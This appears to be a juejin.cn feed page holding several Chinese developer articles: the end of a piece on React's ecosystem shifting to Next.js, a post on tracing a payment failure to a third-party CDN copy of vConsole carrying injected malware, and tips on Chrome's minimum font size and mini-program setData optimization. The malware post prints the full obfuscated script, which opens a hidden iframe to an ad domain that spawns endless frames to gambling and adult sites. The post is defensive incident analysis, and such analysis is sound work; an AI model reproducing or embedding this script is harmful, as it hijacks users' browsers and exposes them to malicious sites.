再比如,React Bricks的作者曾抱怨 —— 虽然表面上看,React可以与Vite结合,可以与React Router结合(也就是Remix的前身),一切都是自由的选择。但上层的服务商表示:如果React Bricks不能支持Next.js,就不会再使用他。


换句话说,React在逐渐将自己的技术生态迁移到Next.js,而技术生态是公司技术选型的首要考虑因素。如果开源库不主动融入Next生态,公司在做技术选型时可能就不会考虑这个库。


迫于市场的考量,会有很多原React生态下的库迁移到Next生态,即使这么做并非库作者意愿(毕竟Next.js的背后是一家商业公司)。


框架作者的反抗


如果说一般的开源库只能被动选择是否追随Next生态,那还有一类开源库选择与Next.js正面对抗,这就是Meta Framework(元框架)。


所谓元框架,是指基于前端框架封装的功能更全的上层框架,比如:



  • 框架Vue,元框架Nuxt.js

  • 框架React,元框架RemixNext.js

  • 框架Solid.js,元框架SolidStart

  • 框架Svelte,元框架SvelteKit


还有些框架本身就是元框架,比如AngularAstro


NPM年下载量看,Next.js对这些竞品基本呈碾压之势(下表绿色是Next):



造成当前局面有多少是因为Next.js相比其他元框架表现更出色我们不得而知,但有一点可以肯定 —— React生态Next生态的迁徙对形成当前局面一定贡献了不少。


参考下图,黄色(React年下载量)对绿色(Next年下载量)的提携:



元框架的竞争已经逐渐白热化,现在甚至出现了生成元框架的框架 —— vinxi


你可以选择框架(ReactVueSolid...),再选择应用场景(客户端、SSRSSG...)以及一些个性化配置,vinxi会为你生成一个独属于你的元框架。


顺便一提,SolidStart就是基于vinxi构建的。


后记


React将技术生态向Next迁移的不满在社区已经酝酿已久,并在近期迎来了爆发。长久来看,这种不满必将影响React的根基 —— 技术生态。


但从上帝视角来看,没有人是真正在意React的:



  • 开发者只在意是否能稳定、高效完成工作

  • 开源作者只在意技术生态市场是否够大(不能被少数公司垄断)

  • React核心团队成员在意的是自己的职业前景

  • 元框架作者在意的是从Next无法顾及的细分场景切一块蛋糕


React就像一个被开采了11年的金矿,开采的各方都有所抱怨,同时又不停下手中挥舞的铁镐。


React将技术生态逐渐迁移到Next生态后,React的身影将只存在于一些细节中,比如:



  • Hook的执行顺序不能变

  • 严格模式下组件会render两次

  • 相比其他框架更低的性能


作为一家商业公司,未来Vercel会不会为了市场考量逐渐优化这些特性(比如引入Signal)?


如果说React未来一定会消失,那他的死必不会像烟花那样猝不及防而又灿烂(就像谷歌宣布研发Angular2后,Angular1在关注度最高时迎来了他的死亡)。


更可能的情况是像忒修斯之船一样,在航行的过程中不断更换老旧的木条,最终在悄无声息中逐渐消失......


作者:魔术师卡颂
来源:juejin.cn/post/7340926094614511626
收起阅读 »

慎重!第三方依赖包里居然有投毒代码

web
本周,团队里有个小伙伴负责的一个移动端项目在生产环境上出现了问题,虽然最终解决了,但我觉得这个问题非常典型,有必要在这里给广大掘友分享一下。 起因 生产上有客户反馈在支付订单的时候,跳转到微信支付后,页面就被毙掉了,无法支付。而且无法支付这个问题还不是所有用户...
继续阅读 »

本周,团队里有个小伙伴负责的一个移动端项目在生产环境上出现了问题,虽然最终解决了,但我觉得这个问题非常典型,有必要在这里给广大掘友分享一下。


起因


生产上有客户反馈在支付订单的时候,跳转到微信支付后,页面就被毙掉了,无法支付。而且无法支付这个问题还不是所有用户都会遇到,只是极个别的用户会遇到。


查找问题


下面是排查此问题时的步骤:



  1. review代码,代码逻辑没问题。

  2. 分析反馈问题的用户画像,发现他们都是分布在不同省域下面的,不是发生在同一个地区,完全没有规律可循。

  3. 偶然间,发现有一段代码逻辑有问题,就是移动端调试工具库vConsole这个悬浮图标,代码逻辑是只有在生产环境才显示,其它环境不显示。至于为啥在生产环境上把调试工具展示出来的问题,不是本文的重点~,这里就不多赘述了,正常来说vConsole的悬浮图标这东西也不会影响用户操作,没怎么在意。

  4. 然而最不在意的内容,往往才是导致问题的关键要素。

  5. 发现vConsole不是通过安装依赖包的方式加载的,而是在index.html页面用script标签引入的,而且引用的地址还是外部开源的第三方cdn的地址,不是公司内部cdn的地址。

  6. 于是开始针对这个地址进行排查,在一系列令绝大部分掘友目瞪口呆的操作下,终于定位到问题了。这个开源的cdn地址提供的vConsole源代码有问题,里面注入了一段跟vConsole代码不相关的恶意脚本代码。



有意思的是,这段恶意脚本代码不会一直存在。同样一个地址,原页面刷新后,里面的恶意脚本代码就会消失。



感兴趣的掘友可以在自己电脑上是试一试。vConsole地址
注意,如果在PC端下载此代码,要先把模拟手机模式打开再下载,不然下载的源码里不会有这个恶意脚本代码。


下面的截图是我在pc端浏览器上模拟手机模式,获取到的vConsole源码,我用红框圈住的就是恶意代码,它在vConsole源码文件最下方注入了一段恶意代码(广告相关的代码)。


image.png


这些恶意代码都是经过加密的,把变量都加密成了十六进制的格式,仅有七十多行,有兴趣的掘友可以把代码拷贝到自己本地,尝试执行一下。


全部代码如下:


var _0x30f682 = _0x2e91;
(function(_0x3a24cc, _0x4f1e43) {
var _0x2f04e2 = _0x2e91
, _0x52ac4 = _0x3a24cc();
while (!![]) {
try {
var _0x5e3cb2 = parseInt(_0x2f04e2(0xcc)) / 0x1 * (parseInt(_0x2f04e2(0xd2)) / 0x2) + parseInt(_0x2f04e2(0xb3)) / 0x3 + -parseInt(_0x2f04e2(0xbc)) / 0x4 * (parseInt(_0x2f04e2(0xcd)) / 0x5) + parseInt(_0x2f04e2(0xbd)) / 0x6 * (parseInt(_0x2f04e2(0xc8)) / 0x7) + -parseInt(_0x2f04e2(0xb6)) / 0x8 * (-parseInt(_0x2f04e2(0xb4)) / 0x9) + parseInt(_0x2f04e2(0xb9)) / 0xa * (-parseInt(_0x2f04e2(0xc7)) / 0xb) + parseInt(_0x2f04e2(0xbe)) / 0xc * (-parseInt(_0x2f04e2(0xc5)) / 0xd);
if (_0x5e3cb2 === _0x4f1e43)
break;
else
_0x52ac4['push'](_0x52ac4['shift']());
} catch (_0x4e013c) {
_0x52ac4['push'](_0x52ac4['shift']());
}
}
}(_0xabf8, 0x5b7f0));

var __encode = _0x30f682(0xd5)
, _a = {}
, _0xb483 = [_0x30f682(0xb5), _0x30f682(0xbf)];

(function(_0x352778) {
_0x352778[_0xb483[0x0]] = _0xb483[0x1];
}(_a));

var __Ox10e985 = [_0x30f682(0xcb), _0x30f682(0xce), _0x30f682(0xc0), _0x30f682(0xc3), _0x30f682(0xc9), 'setAttribute', _0x30f682(0xc6), _0x30f682(0xd4), _0x30f682(0xca), _0x30f682(0xd1), _0x30f682(0xd7), _0x30f682(0xb8), _0x30f682(0xb7), _0x30f682(0xd3), 'no-referrer', _0x30f682(0xd6), _0x30f682(0xba), 'appendChild', _0x30f682(0xc4), _0x30f682(0xcf), _0x30f682(0xbb), '删除', _0x30f682(0xd0), '期弹窗,', _0x30f682(0xc1), 'jsjia', _0x30f682(0xc2)];

function _0x2e91(_0x594697, _0x52ccab) {
var _0xabf83b = _0xabf8();
return _0x2e91 = function(_0x2e910a, _0x2d0904) {
_0x2e910a = _0x2e910a - 0xb3;
var _0x5e433b = _0xabf83b[_0x2e910a];
return _0x5e433b;
}
,
_0x2e91(_0x594697, _0x52ccab);
}

window[__Ox10e985[0x0]] = function() {
var _0x48ab79 = document[__Ox10e985[0x2]](__Ox10e985[0x1]);
_0x48ab79[__Ox10e985[0x5]](__Ox10e985[0x3], __Ox10e985[0x4]),
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x6]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x9]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xa]] = __Ox10e985[0xb],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xc]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0xd]] = __Ox10e985[0xe],
_0x48ab79[__Ox10e985[0xf]] = __Ox10e985[0x10],
document[__Ox10e985[0x12]][__Ox10e985[0x11]](_0x48ab79);
}
,
function(_0x2492c5, _0x10de05, _0x10b59e, _0x49aa51, _0x2cab55, _0x385013) {
_0x385013 = __Ox10e985[0x13],
_0x49aa51 = function(_0x2c78b5) {
typeof alert !== _0x385013 && alert(_0x2c78b5);
;typeof console !== _0x385013 && console[__Ox10e985[0x14]](_0x2c78b5);
}
,
_0x10b59e = function(_0x42b8c7, _0x977cd7) {
return _0x42b8c7 + _0x977cd7;
}
,
_0x2cab55 = _0x10b59e(__Ox10e985[0x15], _0x10b59e(_0x10b59e(__Ox10e985[0x16], __Ox10e985[0x17]), __Ox10e985[0x18]));
try {
_0x2492c5 = __encode,
!(typeof _0x2492c5 !== _0x385013 && _0x2492c5 === _0x10b59e(__Ox10e985[0x19], __Ox10e985[0x1a])) && _0x49aa51(_0x2cab55);
} catch (_0x57c008) {
_0x49aa51(_0x2cab55);
}
}({});

function _0xabf8() {
var _0x503a60 = ['http://www.sojson.com/javascriptobfuscator.html', 'createElement', '还请支持我们的工作', 'mi.com', 'src', 'body', '16721731lEccKs', 'width', '1450515IgSsSQ', '49faOBBE', 'https://www.unionadjs.com/sdk.html', '0px', 'onload', '3031TDvqkk', '5wlfbud', 'iframe', 'undefined', '版本号,js会定', 'height', '394HRogfN', 'referrerPolicy', 'style', 'jsjiami.com', 'sandbox', 'display', '2071497kVsLsw', '711twSQzP', '_decode', '32024UfDDBW', 'frameborder', 'none', '10ZPsgHQ', 'allow-same-origin allow-forms allow-scripts', 'log', '1540476RTPMoy', '492168jwboEb', '12HdquZB'];
_0xabf8 = function() {
return _0x503a60;
}
;
return _0xabf8();
}

我在自己电脑上把这段代码执行了一下,其实在页面上用户是无感的,因为创建的标签都是隐藏起来的,只有打开调试工具才能看出来。


打开浏览器调试工具,查看页面dom元素:


2024-03-08 17.38.16.gif


image.png


打开调试工具的网络请求那一栏,发送无数个请求,甚至还有几个socket链接...:


2024-03-08 17.41.20.gif


这就是为什么微信支付会把页面毙掉的原因了,页面只要加载了这段代码,就会执行下面这个逻辑:



  1. 页面加载后,代码自动执行,在页面中创建一个iframe标签,然后把https://www.unionadjs.com/sdk.html地址放进去。

  2. 随后在iframe标签中会无限制地创建div标签(直到你的浏览器崩溃!)。

  3. 每个div标签中又会创建一个iframe标签,而src会被分配随机的域名,有的已经打不开了,有的还可以打开,其实就是一些六合彩和一些有关那啥的网站(懂的都懂~)。


强大的ChatGPT


在这里不得不感叹ChatGPT的强大(模型训练的好),我把这段加密的代码直接输入进去,它给我翻译出来了,虽然具体逻辑没有翻译出来,但已经很好了。


image.png


下面这个是中文版的:


image.png


总结


下面是我对这次问题的一个总结:



  1. 免费的不一定是最便宜的,也有可能是最贵的。

  2. 公司有自己的cdn依赖库就用公司内部的,或者去官网去下载对应的依赖,开源的第三方cdn上的内容慎重使用。

  3. 技术没有对和错,要看使用它的是什么人。


本次分享就到这里了,有描述的不对的地方欢迎掘友们纠正~


作者:娜个小部呀
来源:juejin.cn/post/7343691521601781760
收起阅读 »

如何打破Chrome的最小字号限制

web
前言 正常开发中,比如设置最小字体为12以下,会出现不生效的情况。原因是因为谷歌浏览器有最小字体的限制,那么如何解决这个问题呢? 本文主要说明两个方式: 调整谷歌浏览器的默认限制字体大小 使用css的transform属性进行缩放 chrome 118版...
继续阅读 »

前言


正常开发中,比如设置最小字体为12以下,会出现不生效的情况。原因是因为谷歌浏览器有最小字体的限制,那么如何解决这个问题呢?


本文主要说明两个方式:



  1. 调整谷歌浏览器的默认限制字体大小

  2. 使用css的transform属性进行缩放



chrome 118版本后已经字体大小最小限制默认关闭了,直接支持小于12px的字体大小



1. 调整谷歌浏览器默认字体限制


要打破Chrome的最小字号限制,按照以下步骤进行操作:



  1. 打开Chrome浏览器。

  2. 找到并点击浏览器右上角的三个点图标,打开菜单。

  3. 在菜单中选择“设置”选项。

  4. 在设置页面中,向下滚动并找到“外观”部分。

  5. 在“外观”部分中,找到“自定义字体”选项。

  6. 设置最小字体,使用滑块或输入框调整字体大小到最小字号。


例如:当我们需要设置字体为6px时


打开百度浏览器,当最小字体设置为12px,当设置为12以下时,字体不会变化。


浏览器设置:


image.png


页面显示:
image.png


调整最小字体为6px:


浏览器设置:


image.png


页面显示:
image.png


总结一下:谷歌浏览器页面字体的最小限制,是因为浏览器的默认限制。我们平常开发中不可能每个浏览器进行设置,下面介绍使用css的缩放突破最小字体限制。


2. 使用css的transform属性进行缩放


例如:如果需要设置字体为10px,那么可以先将字体设置为20px,通过缩放一半进行实现。



注意:transfrom属性针对块级元素


缩放后会出现对齐问题,需要设置transform-origin属性



如果未设置transform-origin


image.png


对齐出现问题,设置后:


image.png


完整css设置:


font-size: 20px;
transform: scale(0.5);
display: inline-block;
transform-origin: 0 22px;

3. 总结


在Web开发中,Chrome浏览器设置了一个默认的最小字体限制,当你尝试设置小于某个阈值的字体大小时,字体大小将不会按照预期变化。这种限制主要是为了确保网页内容的可读性和用户的浏览体验。


为了突破这个限制,本文主要演示了两种方法:



  1. 调整Chrome浏览器的默认字体大小限制



    • 通过Chrome的设置界面,用户可以自定义字体大小,并设置其最小值。虽然这种方法简单直接,但它需要用户手动操作,并不适合在生产环境中使用。



  2. 使用CSS的transform属性进行缩放



    • 这种方法不需要用户进行任何操作,它完全依赖于CSS代码。你可以设置一个较大的字体大小,然后使用transform: scale()来缩小它。

    • 需要注意的是,使用transform属性进行缩放时,可能会出现文本对齐问题。为了解决这个问题,我们可以使用transform-origin属性来调整缩放的基准点。




单纯记录下,如果错误,请指正O^O!


作者:一诺滚雪球
来源:juejin.cn/post/7338742634168139788
收起阅读 »

「小程序进阶」setData 优化实践指南

web
一 前言 本文为稀土掘金技术社区首发签约文章,30天内禁止转载,30天后未获授权禁止转载,侵权必究! 为什么小程序如此受欢迎? 随着移动互联网发展,各大主流的 App 的很多业务页面,都需要有动态化发版的能力,这时小程序的优势就体现出来了,首先小程序无需安...
继续阅读 »

一 前言



本文为稀土掘金技术社区首发签约文章,30天内禁止转载,30天后未获授权禁止转载,侵权必究!



为什么小程序如此受欢迎?


随着移动互联网发展,各大主流的 App 的很多业务页面,都需要有动态化发版的能力,这时小程序的优势就体现出来了,首先小程序无需安装和卸载,更少的占用内存,并且实现了跨端兼容,开发者无需在安卓或者 iOS 端开发两套代码,这无疑降低了开发成本,而且小程序更受到广大前端开发者的青睐,随着 taro 等框架的成熟,开发者可以完全做到像开发 web 应用一样开发小程序。


setData 优化迫在眉睫
随着小程序的发展,各种各样的小程序百花齐放,截止 2022 年末,互联网小程序总数超过 780 万,DAU更是突破了 8 亿。小程序承载了越来越多的功能,这就促使了小程序的模块越来越复杂。这个时候,更新视图就会牵连更多的业务模块的联动更新,如果小程序开发者不做优化而是肆意的使用 setData,就会让应用更卡顿,渲染更耗时,直接影响了用户体验。所以 setData 优化是小程序优化重要的组成部分。


要是彻底弄明白 setData 影响性能的原因,就要从小程序的架构设计说起。


二 双线程架构设计


2.1 小程序双线程架构设计


小程序采用双线程架构,分为逻辑层和渲染层。首先就是 Native 打开一个 WebView 页面,渲染层加载 WXML 和 WXSS 编译后的文件,同时逻辑层用于逻辑处理,比如触发网络请求、setData 更新等等。接下来是请求资源,请求到数据之后,数据先通过逻辑层传递给 Native,然后通过 Native 把数据传递给渲染层 WebView,再进行渲染。


在小程序中,触发的事件首先需要传递给 Native,再传递给逻辑层,逻辑层处理事件,再把处理好的数据传递给 Native,最后 Native 传递给渲染层,由渲染层负责渲染。


WechatIMG47033.png


2.2 小程序更新原理


上面小程序的双线程架构,setData 是驱动小程序视图更新的核心方法,通过上面双线程架构可知,setData 过程中,需要把更新的数据,先传递给 Native 层,然后 Native 层再传递给 webView 层面。


数据这么一来一回需要实现 Native <-> JS 引擎双线程通信,并且数据在通信过程中,需要序列化和反序列化,那么在此期间就会产生大量的通信成本。这就是 setData 消耗性能,性能瓶颈的原因。


明白了 setData 的性能瓶颈之后,来看一下如何优化 setData 呢?


三 setData 优化


对于 setData 的优化,重点是以下三个方面:



  • 控制 setData 的数量(频率)。

  • 控制 setData 的量。

  • 合理运用 setData 。


下面我们对这三个方向分别展开讨论。


3.1 减少 setData 的数


首先第一点就是控制 setData 的次数, 每次 setData 都会触发逻辑层虚拟 DOM 树的遍历和更新,也可能会导致触发一次完整的页面渲染流程,其中就包括了序列化,通信,反序列化的过程。过于频繁(毫秒级)的调用 setData,会造成严重的影响,如下:



  • 逻辑层 JS 线程持续繁忙,无法正常响应用户操作的事件,也无法正常完成页面切换;

  • 视图层 JS 线程持续处于忙碌状态,逻辑层 -> 视图层通信耗时上升,视图层收到消息的延时较高,渲染出现明显延迟;

  • 视图层无法及时响应用户操作,用户滑动页面时感到明显卡顿,操作反馈延迟,用户操作事件无法及时传递到逻辑层,逻辑层亦无法及时将操作处理结果及时传递到视图层。


因此,开发者在调用 setData 是,应该做如下处理:


1.仅在需要进行页面内容更新时调用 setData。


有一些场景下,我们没有必要把所有的数据,都用 setData, 一些数据可以直接通过 this 来保存,setData 只更新有关视图的数据。


比如有一个状态叫做 isFlag, 这个状态只是记录状态,并不是用于渲染。那么没必要用 setData。


不推荐:


this.setData({
isFlag:true
})

推荐:


this.isFlag = true

2.合并 setData:


把多个 setData 可以合并成一个 setData ,避免同一个上下文中,多个 setData。


不推荐:


this.setData({
isFlag:true
})
this.setData({
number:1
})

推荐:


this.setData({
isFlag:true,
number:1
})

3.避免以过高的频率持续调用 setData,例如毫秒级的倒计时,scroll里面使用 setData


不推荐:


// ❌
onScoll(){
this.setData({
xxx:...
})
}
// ❌
setTimeout(()=>{
this.setData({
xxx:...
})
},10)

如果必须在 scroll 事件中使用 setData ,那么推荐使用函数防抖(debounce),或者函数节流(throttle);


onLoad(){
this.onScroll = debounce(this.onScroll.bind(this),200)
}
onScroll(){}

3.2 减少 setDate 的量


setData 只用来进行渲染相关的数据更新。用 setData 的方式更新渲染无关的字段,会触发额外的渲染流程,或者增加传输的数据量,影响渲染耗时。


1.data 里面仅存放和渲染有关的数据。


this. ({
data1:...
data2:...
})

<view>{{ data1 }}</view>

如上有两个数据 data1 和 data2, 但是只有 data1 视图需要,那么 setData 改变 data2 就是多余的。


2.组件间的通信,可以通过状态管理工具,或者 eventbus


比如有一个数据 a, 想把 a 传递到子组件中,那么通常的方案是 a 作为 props 传递给子组件,如果想要改变 a 的值,那么需要 setData 更新 a 的值。


如果是普通的组件,如上的传递方式是没问题的,但是对于一些复杂的场景,比如传递的数据巨大,这个时候就可以考虑用状态管理工具,或者 eventbus 的方式。


如下就是通过 eventBus 实现的组件通信。


import { BusService } from './eventBus'
Component({
lifetimes:{
attached(){
BusService.on('message',(value)=>{ /* 事件绑定 */
/* 更新数据 */
this.setData({...})
})
},
detached(){
BusService.off('message') /* 解绑事件 */
}
},
})

Component({
methods:{
emitEvent(){
BusService.emit('message','hello,world')
}
}
})

3.控制 setData 数据更新范围。


对于列表或者是大对象的数据结构,如果是列表某一项的数据变化,或者是对象的某一属性发生变化,可以控制 setData 数据更新范围,让更新的数据变得最小。


如下:


handleListChange(index,value){
this.setData({
`sourceList[${index}]`:value
})
}

3.3 合理运用 setData


如上就是通过 setData 的频率和数量大小,来优化 setData 性能,除此之外,还需要一些业务系统性的优化 setData 的手段。


1.数据源分层


对于复杂的业务场景(复杂的列表,或者复杂的模块场景),服务端数据肯定包含了很多信息,这些数据有的是用于渲染的,有的是用于逻辑处理的,还有的是用于处理埋点和广告的,如果把所有的数据都通过 setData 传递,庞大的数据传输可能会阻塞页面的渲染展示。


这个时候,我们可以把数据分层处理,分成用于纯渲染的数据,逻辑数据,埋点数据等。


WechatIMG47034.png


伪代码如下所示:


// 处理服务端返回的数据
handleRequestData(data){
/* 处理业务数据 */
const { renderData,serviceData,reportData } = this.handleBusinessData(data)
/* 只有渲染需要的数据才更新 */
this.setData({
renderData
})
/* 保存逻辑数据,和上报数据 */
this.serviceData = serviceData
this.reportData = reportData
}

2.渲染分片


还有一个场景就是页面确实有很多模块需要渲染,这个时候在所难免要用 setData 更新大量的数据,如果把这些渲染的数据一次性更新完,也会占用一定的时间;针对这个场景就可以使用渲染分片的概念。就是优先渲染第一屏模块,其他模块用 setTimeout 分片渲染,这样可以缓解一次 setData 造成的压力。


Page({
 data:{
   templateList:[],
},
 async onLoad(){
   /* 请求初始化参数 */
   const { moduleList } = await requestData()  
   /* 渲染分组,每五个模版分成一组 */
   const templateList = this.group(moduleList,5)
   this.updateTemplateData(templateList)
},
 /* 将渲染模版进行分组 */
 group(array, subGr0upLength) {
   let index = 0;
   const newArray = [];
   while (index < array.length) {
     newArray.push(array.slice(index, (index += subGr0upLength)));
  }
   return newArray;
},
 /* 更新模版数据 */
 updateTemplateData(array, index = 0) {
   if (Array.isArray(array)) {
     this.setData(
      {
        [`templateList[${index}]`]: array[index],
      },
      () => {
         if (index + 1 < array.length) {
           setTimeout(()=>{
               this.updateTemplateData(array, index + 1);
          },100)
        }
      }
    );
  }
},
})

3.业务场景定制


针对一些特定的业务场景,需要制定符合当前业务场景的技术方案。这个可能要求开发者有一定的架构设计能力。这里就不具体介绍了。


四 总结


本文讲了小程序的 setData 的一些优化方案,希望能给读过文章的读者在小程序 setData 优化方向,提供一个思路。


最好,希望感觉有帮助的朋友能够 点赞 + 收藏,关注我,持续分享前端


参考文献



作者:我不是外星人
来源:juejin.cn/post/7344598656144752703
收起阅读 »

百亿补贴为什么用 H5?H5 未来会如何发展?

web
百亿补贴为什么用 H5?H5 未来会如何发展? 23 年 11 月末,拼多多市值超过了阿里。我想写一篇文章《百亿补贴为什么用 H5》,没有动笔;24 年新年,我想写一篇《新的一年,H5 会如何发展》,也没有动笔。 眼看着灵感就要烂在手里,我决定把两篇文章合为一...
继续阅读 »

百亿补贴为什么用 H5?H5 未来会如何发展?


23 年 11 月末,拼多多市值超过了阿里。我想写一篇文章《百亿补贴为什么用 H5》,没有动笔;24 年新年,我想写一篇《新的一年,H5 会如何发展》,也没有动笔。


眼看着灵感就要烂在手里,我决定把两篇文章合为一篇,与大家分享。当然,这些分析预测只是个人观点,如果你有不同的意见,欢迎在评论区讨论交流。


拳打 H5,脚踢小程序。我是「小霖家的混江龙」,关注我,带你了解更多实用的 H5、小程序武学。


百亿补贴为什么用 H5


我们首先看一张控制台的图,可以确认,拼多多的「百亿补贴」技术栈是 H5,大概率是 React 写的 H5。


pdd-console.png


不只是拼多多,我特地确认了,京东、淘宝的的「百亿补贴」技术栈也是 H5 (点击它们右上角三个点,拷贝分享链接,然后用浏览器打开)。


pdd-jd-taobao.png


那么,为什么电商巨头会在「百亿补贴」这种重要活动上选择 H5 呢?用 H5 有什么好处呢?


H5 技术已经成熟


第一个原因,也是最基础的原因,就是 H5 技术已经成熟,能够完整地实现功能。具体来说:


浏览器兼容性不断提高


自 2008 年 HTML5 草案发布以来,截止 2014 年,HTML5 已有 18 年历史。18 年间,主流浏览器对 HTML5、CSS3 和 JavaScript 的标准语法兼容性一直持续改进,22 年微软更是亲手盖上了 IE 棺材板。虽然 Safari(iOS 浏览器)的兼容性仍然备受诟病,但总体来说兼容成本已经变得可以接受。


主流框架已经成熟


前端最主流的两大框架 Vue 和 React 已经成熟。它们的成熟体现在多个方面:



  • 从时间的角度看,截止 2024 年,React 已经发布了 11 年,而 Vue 已经发布了 10 年。经过多年的发展,前端开发者已经非常熟悉 React 和 Vue,能熟练地应用它们进行开发。

  • 从语法的角度看,自 React16.8 发布 Hooks,以及 Vue3 发布 Composition API 以来,两大框架语法基本稳定,不再有大的变化。前端开发者可以更加专注于业务逻辑,无需过多担心框架语法的变动。

  • 从未来发展方向看,React 目前致力于推广 React Server Component 1;Vue 则在尝试着无 VDom 的 Vapor 方向,并计划利用 Rust 重写 Vite 2。这表明旧领域不再有大的颠覆,两大框架已经正寻求新的发展领域。


混合开发已经成熟


混合开发是指将原生开发(Android 和 iOS)和 Web 开发结合起来的一种技术。简而言之,它将 H5 嵌入到移动应用内部运行。近些年,业界对混合开发的优势和缺陷已经有清晰的认识,并针对其缺陷进行了相应的优化。具体来说:



  • 混合开发的优势包括开发速度快、一套代码适配 Android 和 iOS,以及实现代码的热更新。这意味着程序员能更快地编写跨平台应用,及时更新应用、修复缺陷;

  • 混合开发的缺陷则是性能较差、加载受限于网络。针对这个缺陷,各大 App、以及云服务商如阿里云 3 和腾讯云 4 都推出了自己的离线包方案。离线包方案可以将网页的静态资源(如 HTML、CSS、JS、图片等)缓存到本地,用户访问 H5 页面时,可以直接读取本地的离线资源,从而提升页面的加载速度。可以说,接入离线包后,H5 不再有致命缺陷。


前端基建工具已经成熟


近些年来,业界最火的技术话题之一,就是用 Rust 替代前端基建,包括:用 Rust 替代 Webpack 的 Rspack;用 Rust 替代 Babel 的 SWC;用 Rust 替代 Eslint 的 OxcLint 等等。


前端开发者对基建工具抱怨,已经从「这工具能不能用」,转变为「这工具好不好用」。这种「甜蜜的烦恼」,只有基建工具成熟后才会出现。


综上所述,浏览器的兼容性提升、主流框架的成熟、混合开发的发展和前端基建工具的完善,使 H5 完全有能力承载「百亿补贴」业务。


H5 开发成本低


前文我们已经了解到,成熟的技术让 H5 可以实现「百亿补贴」的功能。现在我们介绍另一个原因——H5 开发成本低。


「百亿补贴」需要多个 H5


「百亿补贴」的方式,是一个常住的 H5,搭配上多个流动的 H5。(「常住」和「流动」是我借鉴「常住人口」和「流动人口」造的词)



  • 常住 H5 链接保持不变。站外投放的链接基本都是常住 H5 的,站内首页入口链接也是常住 H5 的,这样方便用户二次访问。

  • 流动 H5 链接位于常住 H5 的不同位置,比如头图、侧边栏等。时间不同、用户不同、算法不同,流动 H5 的链接都会不同,流动 H5 可以区分用户,方便分发流量。


    具体来看,拼多多至少有三个流量的分发点,第一个是可点击的头图,第二个是列表上方的活动模块,第三个是右侧浮动的侧边栏,三者可以投放不同的链接。最近就分别投放 3.8 女神节链接、新人链接和品牌链接:



pdd-activity.png


「百亿补贴」需要及时更新


不难想到,每到一个节日、每换一个品牌,「百亿补贴」就需要更新一次。


有时还需要为一些品牌定制化 H5 代码。如果使用其他技术栈,排期跟进通常会比较困难,但是使用 H5 就能够快速迭代并上线。


H5 投放成本低


我们已经「百亿补贴」使用 H5 技术栈的两个原因,现在来看第三个原因——H5 适合投放。


拼多多的崛起过程中,投放到其他 App 的链接功不可没。早期它通过微信等社交平台「砍一刀」的模式,低成本地吸引了大量用户。如今,它通过投放「百亿补贴」策略留住用户。


H5 的独特之处,在于它能够灵活地在多个平台上进行投放,其他技术栈很难有这样的灵活性。即使是今天,抖音、Bilibili 和小红书等其他 App 中,「百亿补贴」的 H5 链接也随处可见。


pdd-advertisement.png


拼多多更是将 H5 这种灵活性发挥到极致,只要你有「百亿补贴」的链接,你甚至可以在微信、飞书、支付宝等地方直接查看「百亿补贴」 H5 页面。


wechat-flybook-alipay.png


综上所述,能开发、能快速开发、且开发完成后能大量投放,是「百亿补贴」青睐 H5 的原因。


H5 未来会如何发展


了解「百亿补贴」选择 H5 的原因后,我们来看看电商巨头对 H5 未来发展的影响。我认为有三个影响:


H5 数量膨胀,定制化要求苛刻


C 端用户黏性相对较低,换一个 App 的成本微不足道。近年 C 端市场增长缓慢,企业重点从获取更多的新客变成留住更多的老客,很难容忍用户丢失。因此其他企业投放活动 H5 时,企业必须也投放活动 H5,电商活动 H5 就变得越来越多。


这个膨胀的趋势不仅仅存在于互联网巨头的 App 中,中小型应用也不例外,甚至像 12306、中国移动、招商银行这种工具性极强的应用也无法幸免。


12306-yidong-zhaoshang.png


随着市场的竞争加剧,定制化要求也变得越来越苛刻,目的是让消费者区分各种活动。用互联网黑话来说,就是「建立用户心智」。在可预见的未来,尽管电商活动 H5 结构基本相同,但是它们的外观将变得千差万别、极具个性。


fluid.png


SSR 比例增加,CSR 占据主流


在各家 H5 数量膨胀、竞争激烈的情况下,一定会有企业为提升 H5 的秒开率接入 SSR,因此 SSR 的比例会增加。


但我认为 CSR 依然会是主流,主要是因为两个原因:



  1. SSR 需要额外的服务器费用,包括服务器的维护、扩容等。这对于中小型公司来说是一个负担。

  2. SSR 对程序员技术水平要求比 CSR 更高。SSR 需要程序员考虑更多的问题,例如内存泄露。使用 CSR 在用户设备上发生内存泄露,影响有限;但是如果在服务器上发生内存泄露,则是会占用公司的服务器内存,增加额外的成本和风险。


因此,收益丰厚、技术雄厚的公司才愿意使用 SSR。


Monorepo 比例会上升,类 Shadcn UI 组件库也许会兴起


如前所述,H5 的数量膨胀,代码复用就会被着重关注。我猜测更多企业会选择 Monorepo 管理方式。所谓 Monorepo,简单来说,就是将原本应该放到多个仓库的代码放入一个仓库,让它们共享相同的版本控制。这样可以降低代码复用成本。


定制化要求苛刻,我猜测社区中类似 Shadcn UI 的 H5 组件库或许会兴起。现有的 H5 组件库样式太单一,即使是 Shadcn UI,也很难满足国内 H5 的定制化需求。然而,Shadcn UI 的基本思路——「把源码下载到项目」,是解决定制化组件难复用的问题的好思路。因此,我认为类似 Shadcn 的 H5 组件库可能会逐渐兴起。


总结


本文介绍了我认为「百亿补贴」会选用 H5 的三大原因:



  • H5 技术已经成熟

  • H5 开发成本低

  • H5 投放成本低


以及电商巨头对 H5 产生的三个影响:



  • 数量膨胀,定制化要求苛刻

  • SSR 比例增加,CSR 占据主流

  • Monorepo 比例增加,类 Shadcn UI 组件库也许会兴起


总而言之,H5 开发会越来越专业,对程序员要求会越来越高。至于这种情况是好是坏,仁者见仁智者见智,欢迎大家在评论区沟通交流。


拳打 H5,脚踢小程序。我是「小霖家的混江龙」,关注我,带你了解更多实用的 H5、小程序武学。


Footnotes




作者:小霖家的混江龙
来源:juejin.cn/post/7344325496983732250
收起阅读 »

前端重新部署如何通知用户

web
1. 场景前端构建完上线,用户还停留还在老页面,用户不知道网页重新部署了,跳转页面的时候有时候js连接hash变了导致报错跳不过去,并且用户体验不到新功能。2. 解决方案每次打包写入一个json文件,或者对比生成的script的src引入的hash地址或者et...
继续阅读 »

1. 场景

